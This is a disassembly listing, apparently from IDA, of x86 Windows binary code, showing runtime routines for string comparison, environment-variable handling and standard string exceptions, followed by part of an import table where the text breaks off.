loc_41F91E: ; CODE XREF: sub_41F845+CFj cmp esi, ebx jz short loc_41F92B cmp [ebp+arg_14], ebx jnz loc_41F9C3 loc_41F92B: ; CODE XREF: sub_41F845+DBj cmp esi, [ebp+arg_14] jnz short loc_41F938 loc_41F930: ; CODE XREF: sub_41F845+13Cj ; sub_41F845+16Dj push 2 loc_41F932: ; CODE XREF: sub_41F845+146j pop eax jmp loc_41FAB0 ; --------------------------------------------------------------------------- loc_41F938: ; CODE XREF: sub_41F845+E9j cmp [ebp+arg_14], edi jle short loc_41F944 loc_41F93D: ; CODE XREF: sub_41F845+151j ; sub_41F845+159j ... mov eax, edi jmp loc_41FAB0 ; --------------------------------------------------------------------------- loc_41F944: ; CODE XREF: sub_41F845+F6j cmp esi, edi jg short loc_41F989 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call dword_421194 test eax, eax jz loc_41FAAE cmp esi, ebx jle short loc_41F98D cmp [ebp+var_3C], 2 jb short loc_41F989 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41F989 loc_41F96F: ; CODE XREF: sub_41F845+142j mov dl, [eax+1] cmp dl, bl jz short loc_41F989 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_41F983 cmp cl, dl jbe short loc_41F930 loc_41F983: ; CODE XREF: sub_41F845+138j inc eax inc eax cmp [eax], bl jnz short loc_41F96F loc_41F989: ; CODE XREF: sub_41F845+101j ; sub_41F845+120j ... push 3 jmp short loc_41F932 ; --------------------------------------------------------------------------- loc_41F98D: ; CODE XREF: sub_41F845+11Aj cmp [ebp+arg_14], ebx jle short loc_41F9C3 cmp [ebp+var_3C], 2 jb short loc_41F93D lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_41F93D loc_41F9A0: ; CODE XREF: sub_41F845+177j mov dl, [eax+1] cmp dl, bl jz short loc_41F93D mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_41F9B8 cmp cl, dl jbe loc_41F930 loc_41F9B8: ; CODE XREF: sub_41F845+169j inc eax inc eax cmp [eax], bl jnz short loc_41F9A0 jmp loc_41F93D ; --------------------------------------------------------------------------- loc_41F9C3: ; CODE XREF: sub_41F845+E0j ; sub_41F845+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_421064 mov [ebp+var_1C], eax cmp eax, ebx jz loc_41FAAE mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41FA12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_41FA12: ; CODE XREF: sub_41F845+1B5j cmp [ebp+var_24], ebx jz loc_41FAAE push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_421064 call esi test eax, eax jz short loc_41FAAE push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_41FAAE mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_41FA7D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_41FA7D: ; CODE XREF: sub_41F845+224j cmp edi, ebx jz short loc_41FAAE push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_421064 test eax, eax jz short loc_41FAAE push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421008 jmp short loc_41FAB0 ; --------------------------------------------------------------------------- loc_41FAAE: ; CODE XREF: sub_41F845+63j ; sub_41F845+C6j ... xor eax, eax loc_41FAB0: ; CODE XREF: sub_41F845+BFj ; sub_41F845+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41F845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAC2 proc near ; CODE XREF: sub_41F7D7+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_41FB26 push 3Dh push [ebp+arg_0] call sub_41FD08 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_41FB26 cmp [ebp+arg_0], esi jz short loc_41FB26 mov eax, dword_4694DC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4694E0 jnz short loc_41FB0C push eax call sub_41FCA1 pop ecx mov dword_4694DC, eax loc_41FB0C: ; CODE XREF: sub_41FAC2+3Cj cmp eax, edi jnz short loc_41FB64 cmp [ebp+arg_4], edi jz short loc_41FB2E cmp dword_4694E4, edi jz short loc_41FB2E call sub_41F7D7 test eax, eax jz short loc_41FB64 loc_41FB26: ; CODE XREF: sub_41FAC2+Dj ; sub_41FAC2+22j ... or eax, 0FFFFFFFFh loc_41FB29: ; CODE XREF: sub_41FAC2+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41FB2E: ; CODE XREF: sub_41FAC2+51j ; sub_41FAC2+59j cmp ebx, edi jnz loc_41FC42 push 4 call sub_415DC9 cmp eax, edi pop ecx mov dword_4694DC, eax jz short loc_41FB26 mov [eax], edi cmp dword_4694E4, edi jnz short loc_41FB64 push 4 call sub_415DC9 cmp eax, edi pop ecx mov dword_4694E4, eax jz short loc_41FB26 mov [eax], edi loc_41FB64: ; CODE XREF: sub_41FAC2+4Cj ; sub_41FAC2+62j ... sub esi, [ebp+arg_0] mov edi, dword_4694DC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_41FC49 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_41FBC4 cmp dword ptr [edi], 0 jz short loc_41FBC4 test ebx, ebx jz short loc_41FBBC push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_415E3D pop ecx loc_41FB96: ; CODE XREF: sub_41FAC2+E2j cmp dword ptr [edi], 0 jz short loc_41FBA6 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_41FB96 ; --------------------------------------------------------------------------- loc_41FBA6: ; CODE XREF: sub_41FAC2+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_4174DF pop ecx test eax, eax pop ecx jz short loc_41FBF6 jmp short loc_41FBF1 ; --------------------------------------------------------------------------- loc_41FBBC: ; CODE XREF: sub_41FAC2+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_41FBF6 ; --------------------------------------------------------------------------- loc_41FBC4: ; CODE XREF: sub_41FAC2+BDj ; sub_41FAC2+C2j test ebx, ebx jnz short loc_41FC42 test esi, esi jge short loc_41FBCE neg esi loc_41FBCE: ; CODE XREF: sub_41FAC2+108j lea eax, ds:8[esi*4] push eax push edi call sub_4174DF pop ecx test eax, eax pop ecx jz loc_41FB26 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_41FBF1: ; CODE XREF: sub_41FAC2+F8j mov dword_4694DC, eax loc_41FBF6: ; CODE XREF: sub_41FAC2+F6j ; sub_41FAC2+100j cmp [ebp+arg_4], 0 jz short loc_41FC42 push [ebp+arg_0] call sub_415CF0 inc eax inc eax push eax call sub_415DC9 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41FC42 push [ebp+arg_0] push esi call sub_415C00 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call dword_421004 push esi call sub_415E3D pop ecx loc_41FC42: ; CODE XREF: sub_41FAC2+6Ej ; sub_41FAC2+104j ... xor eax, eax jmp loc_41FB29 sub_41FAC2 endp ; =============== S U B R O U T I N E ======================================= sub_41FC49 proc near ; CODE XREF: sub_41FAC2+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4694DC push edi mov eax, [esi] test eax, eax jz short loc_41FC84 mov edi, [esp+8+arg_4] loc_41FC5B: ; CODE XREF: sub_41FC49+39j push edi push eax push [esp+10h+arg_0] call sub_41F798 add esp, 0Ch test eax, eax jnz short loc_41FC7A mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_41FC94 test al, al jz short loc_41FC94 loc_41FC7A: ; CODE XREF: sub_41FC49+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_41FC5B loc_41FC84: ; CODE XREF: sub_41FC49+Cj mov eax, esi sub eax, dword_4694DC sar eax, 2 neg eax loc_41FC91: ; CODE XREF: sub_41FC49+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41FC94: ; CODE XREF: sub_41FC49+2Bj ; sub_41FC49+2Fj mov eax, esi sub eax, dword_4694DC sar eax, 2 jmp short loc_41FC91 sub_41FC49 endp ; =============== S U B R O U T I N E ======================================= sub_41FCA1 proc near ; CODE XREF: sub_41FAC2+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_41FCB0 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_41FCB0: ; CODE XREF: sub_41FCA1+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_41FCC2 loc_41FCB8: ; CODE XREF: sub_41FCA1+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_41FCB8 loc_41FCC2: ; CODE XREF: sub_41FCA1+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_415DC9 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41FCE3 push 9 call sub_417BEE pop ecx loc_41FCE3: ; CODE XREF: sub_41FCA1+38j mov eax, [edi] mov ebx, edi loc_41FCE7: ; CODE XREF: sub_41FCA1+5Bj test eax, eax jz short loc_41FCFE push eax add ebx, 4 call sub_41FD7B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41FCE7 ; --------------------------------------------------------------------------- loc_41FCFE: ; CODE XREF: sub_41FCA1+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41FCA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD08 proc near ; CODE XREF: sub_41FAC2+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_46A8FC, 0 jnz short loc_41FD23 push [ebp+arg_4] push [ebp+arg_0] call sub_417080 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41FD23: ; CODE XREF: sub_41FD08+Aj mov ecx, [ebp+arg_0] loc_41FD26: ; CODE XREF: sub_41FD08+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41FD69 movzx edx, al test byte_46AA01[edx], 4 jz short loc_41FD55 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41FD60 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41FD64 jmp short loc_41FD5D ; --------------------------------------------------------------------------- loc_41FD55: ; CODE XREF: sub_41FD08+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41FD69 loc_41FD5D: ; CODE XREF: sub_41FD08+4Bj inc ecx jmp short loc_41FD26 ; --------------------------------------------------------------------------- loc_41FD60: ; CODE XREF: sub_41FD08+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FD64: ; CODE XREF: sub_41FD08+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41FD69: ; CODE XREF: sub_41FD08+25j ; sub_41FD08+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41FD08 endp ; =============== S U B R O U T I N E ======================================= sub_41FD7B proc near ; CODE XREF: sub_4099AA+21p ; sub_41FCA1+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41FDA2 push esi call sub_415CF0 inc eax push eax call sub_415DC9 pop ecx test eax, eax pop ecx jz short loc_41FDA2 push esi push eax call sub_415C00 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: sub_41FD7B+7j ; sub_41FD7B+1Aj xor eax, eax pop esi retn sub_41FD7B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41FDB0 proc near ; CODE XREF: sub_404B1E+15p ; sub_404B77+15p ... mov eax, offset loc_4202A0 call sub_416458 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404D21 mov esi, offset aStringTooLong ; "string too long" push esi call sub_415CF0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D5D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41FE0A lea eax, [ebp-3Ch] push offset dword_421F80 push eax mov dword ptr [ebp-3Ch], offset off_421C3C call sub_420209 pop esi sub_41FDB0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FE0A proc near ; CODE XREF: sub_41FDB0+3Fp ; sub_41FFDC+3Fp mov eax, offset loc_4202B4 call sub_416458 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_438FDC call sub_42012E mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_404D21 push dword_421248 mov ecx, edi push 0 push ebx call sub_404BCE mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C5C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41FE0A endp ; =============== S U B R O U T I N E ======================================= sub_41FE6E proc near ; DATA XREF: .nsp0:00421C40o ; .nsp0:00421C60o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41FE7A mov eax, offset dword_421258 locret_41FE7A: ; CODE XREF: sub_41FE6E+5j retn sub_41FE6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE7B proc near ; DATA XREF: .nsp0:00421C64o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41FEF1 lea eax, [ebp+var_1C] push offset dword_421FF0 push eax call sub_420209 sub_41FE7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FE98 proc near ; CODE XREF: .nsp0:0041FED8p ; DATA XREF: .nsp0:00421FF4o mov eax, offset loc_4202C8 call sub_416458 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4201B5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41FE98 endp ; --------------------------------------------------------------------------- loc_41FED5: ; DATA XREF: .nsp0:off_421C5Co push esi mov esi, ecx call sub_41FE98 test byte ptr [esp+8], 1 jz short loc_41FEEB push esi call sub_416477 pop ecx loc_41FEEB: ; CODE XREF: .nsp0:0041FEE2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41FEF1 proc near ; CODE XREF: sub_41FE7B+Ap ; sub_41FFC4+7p ... mov eax, offset loc_4202DC call sub_416458 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_42016B mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_404D21 push dword_421248 mov ecx, edi push 0 push ebx call sub_404BCE mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C5C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41FEF1 endp ; =============== S U B R O U T I N E ======================================= sub_41FF4E proc near ; CODE XREF: sub_41FF8B+20p ; DATA XREF: .nsp0:00421F84o mov eax, offset loc_4202F0 call sub_416458 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4201B5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41FF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF8B proc near ; DATA XREF: .nsp0:00421C44o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41FFC4 lea eax, [ebp+var_1C] push offset dword_421F80 push eax call sub_420209 loc_41FFA8: ; DATA XREF: .nsp0:off_421C3Co push esi mov esi, ecx call sub_41FF4E test [esp+20h+var_18], 1 jz short loc_41FFBE push esi call sub_416477 pop ecx loc_41FFBE: ; CODE XREF: sub_41FF8B+2Aj mov eax, esi pop esi retn 4 sub_41FF8B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FFC4 proc near ; CODE XREF: sub_41FF8B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41FEF1 mov dword ptr [esi], offset off_421C3C mov eax, esi pop esi retn 4 sub_41FFC4 endp ; =============== S U B R O U T I N E ======================================= sub_41FFDC proc near ; CODE XREF: sub_404BCE+13p ; sub_404D92+Ep mov eax, offset loc_420304 call sub_416458 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404D21 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_415CF0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D5D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41FE0A lea eax, [ebp-3Ch] push offset dword_4220A8 push eax mov dword ptr [ebp-3Ch], offset off_421C6C call sub_420209 pop esi sub_41FFDC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420036 proc near ; CODE XREF: sub_420073+20p ; DATA XREF: .nsp0:004220ACo mov eax, offset loc_420318 call sub_416458 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4201B5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_420036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420073 proc near ; DATA XREF: .nsp0:00421C74o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4200AC lea eax, [ebp+var_1C] push offset dword_4220A8 push eax call sub_420209 loc_420090: ; DATA XREF: .nsp0:off_421C6Co push esi mov esi, ecx call sub_420036 test [esp+20h+var_18], 1 jz short loc_4200A6 push esi call sub_416477 pop ecx loc_4200A6: ; CODE XREF: sub_420073+2Aj mov eax, esi pop esi retn 4 sub_420073 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4200AC proc near ; CODE XREF: sub_420073+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41FEF1 mov dword ptr [esi], offset off_421C6C mov eax, esi pop esi retn 4 sub_4200AC endp ; =============== S U B R O U T I N E ======================================= sub_4200C4 proc near ; DATA XREF: .nsp0:0042300Co ; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES test byte_46979C, 1 jnz short loc_4200D4 or byte_46979C, 1 loc_4200D4: ; CODE XREF: sub_4200C4+7j call sub_4200EE test byte_46AB38, 1 jnz short loc_4200E9 or byte_46AB38, 1 loc_4200E9: ; CODE XREF: sub_4200C4+1Cj jmp loc_4200FA sub_4200C4 endp ; =============== S U B R O U T I N E ======================================= sub_4200EE proc near ; CODE XREF: sub_4200C4:loc_4200D4p push offset nullsub_1 call sub_416840 pop ecx retn sub_4200EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4200C4 loc_4200FA: ; CODE XREF: sub_4200C4:loc_4200E9j push offset nullsub_1 call sub_416840 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4200C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_420106 proc near ; CODE XREF: sub_40446E+5Ep ; sub_405409+159p jmp dword_4211D4 sub_420106 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42010C proc near ; CODE XREF: sub_4160C4+23p ; sub_416368+13p jmp dword_421154 sub_42010C endp ; =============== S U B R O U T I N E ======================================= sub_420112 proc near ; DATA XREF: .nsp0:off_421C94o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4201B5 test [esp+4+arg_0], 1 jz short loc_420128 push esi call sub_416477 pop ecx loc_420128: ; CODE XREF: sub_420112+Dj mov eax, esi pop esi retn 4 sub_420112 endp ; =============== S U B R O U T I N E ======================================= sub_42012E proc near ; CODE XREF: sub_41FE0A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421C94 push dword ptr [edi] call sub_415CF0 inc eax push eax call sub_4167C5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42015D push dword ptr [edi] push eax call sub_415C00 pop ecx pop ecx loc_42015D: ; CODE XREF: sub_42012E+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42012E endp ; =============== S U B R O U T I N E ======================================= sub_42016B proc near ; CODE XREF: sub_41FEF1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421C94 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4201A8 push dword ptr [edi+4] call sub_415CF0 inc eax push eax call sub_4167C5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4201AE push dword ptr [edi+4] push eax call sub_415C00 pop ecx pop ecx jmp short loc_4201AE ; --------------------------------------------------------------------------- loc_4201A8: ; CODE XREF: sub_42016B+16j mov eax, [edi+4] mov [esi+4], eax loc_4201AE: ; CODE XREF: sub_42016B+2Ej ; sub_42016B+3Bj mov eax, esi pop edi pop esi retn 4 sub_42016B endp ; =============== S U B R O U T I N E ======================================= sub_4201B5 proc near ; CODE XREF: sub_41FE98+2Bp ; sub_41FF4E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_421C94 jz short locret_4201CA push dword ptr [ecx+4] call sub_416477 pop ecx locret_4201CA: ; CODE XREF: sub_4201B5+Aj retn sub_4201B5 endp ; --------------------------------------------------------------------------- mov eax, [ecx+4] test eax, eax jnz short locret_4201D7 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4201D7: ; CODE XREF: .nsp0:004201D0j retn ; =============== S U B R O U T I N E ======================================= sub_4201D8 proc near ; CODE XREF: .nsp0:004201F0p mov dword ptr [ecx], offset off_421CB4 mov ecx, [ecx+4] test ecx, ecx jz short locret_4201EC push ecx call sub_415E3D pop ecx locret_4201EC: ; CODE XREF: sub_4201D8+Bj retn sub_4201D8 endp ; --------------------------------------------------------------------------- loc_4201ED: ; DATA XREF: .nsp0:off_421CB4o push esi mov esi, ecx call sub_4201D8 test byte ptr [esp+8], 1 jz short loc_420203 push esi call sub_416477 pop ecx loc_420203: ; CODE XREF: .nsp0:004201FAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420209 proc near ; CODE XREF: sub_41FDB0+54p ; sub_41FE7B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_421CB8 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_421184 pop edi pop esi leave retn 8 sub_420209 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_420244 proc near ; DATA XREF: .nsp0:00421E84o ; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_404B16 sub_420244 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_420262 mov ecx, [ebp+8] jmp loc_404B16 ; --------------------------------------------------------------------------- locret_420262: ; CODE XREF: .nsp0:00420254j retn ; --------------------------------------------------------------------------- loc_420263: ; DATA XREF: sub_4046AAo mov eax, offset dword_421E58 jmp loc_416113 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420278: ; DATA XREF: .nsp0:00421EB4o lea ecx, [ebp-1Ch] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420280: ; DATA XREF: sub_40484Co mov eax, offset dword_421E88 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 loc_42028C: ; DATA XREF: sub_404DF9o mov eax, offset dword_421EB8 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_4202A0: ; DATA XREF: sub_41FDB0o mov eax, offset dword_421F90 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202B4: ; DATA XREF: sub_41FE0Ao mov eax, offset dword_421FB8 jmp loc_416113 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202C8: ; DATA XREF: sub_41FE98o mov eax, offset dword_422000 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202DC: ; DATA XREF: sub_41FEF1o mov eax, offset dword_422028 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202F0: ; DATA XREF: sub_41FF4Eo mov eax, offset dword_422050 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420304: ; DATA XREF: sub_41FFDCo mov eax, offset dword_4220B8 jmp loc_416113 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_420318: ; DATA XREF: sub_420036o mov eax, offset dword_4220E0 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 dd 337h dup(0) dword_421000 dd 22696h ; DATA XREF: sub_40A6A8+5Ar dword_421004 dd 22AAEh ; DATA XREF: sub_41FAC2+173r dword_421008 dd 22A9Ch ; DATA XREF: sub_41F845+3Er ; sub_41F845+261r dword_42100C dd 22A8Ah ; DATA XREF: sub_41F845+5Br ; sub_41F845+B9r dword_421010 dd 22A7Ah ; DATA XREF: sub_41E84C+F9r dword_421014 dd 22A6Ah ; DATA XREF: sub_41DF9E+8r dword_421018 dd 22A5Ah ; DATA XREF: sub_41DF66+Cr dword_42101C dd 22A3Ch ; DATA XREF: sub_41DF48+5r ; sub_41DF59+6r dword_421020 dd 22A28h ; DATA XREF: sub_41D503+2Cr dword_421024 dd 22A18h ; DATA XREF: sub_41D3D5:loc_41D425r ; sub_41D44C:loc_41D49Fr dword_421028 dd 22A06h ; DATA XREF: sub_41D1F7+3Fr ; sub_41D1F7+12Dr dword_42102C dd 229F4h ; DATA XREF: sub_41D1F7+59r ; sub_41D1F7+8Dr dword_421030 dd 229E6h ; DATA XREF: sub_41CC52+FFr ; sub_41CC52+166r ... dword_421034 dd 229D6h ; DATA XREF: sub_41CC52+158r ; sub_41CF19+143r dword_421038 dd 229C4h ; DATA XREF: sub_41CC52+19Dr dword_42103C dd 229AAh ; DATA XREF: sub_41CB20+9r dword_421040 dd 22992h ; DATA XREF: sub_41CB20:loc_41CB4Fr ; sub_41CB20+E1r dword_421044 dd 22978h ; DATA XREF: sub_41CB20+CEr dword_421048 dd 22348h ; DATA XREF: sub_401000+AAr ; sub_401447+95r ... dword_42104C dd 22356h ; DATA XREF: sub_401000+27r ; sub_401447+1A6r ... dword_421050 dd 22366h ; DATA XREF: sub_4010B2+18Cr ; sub_4010B2+2D4r ... dword_421054 dd 22380h ; DATA XREF: sub_4010B2+182r ; sub_4018CA+FFr dword_421058 dd 2239Ch ; DATA XREF: sub_40211A+20r ; sub_40AAD1+183r ... dword_42105C dd 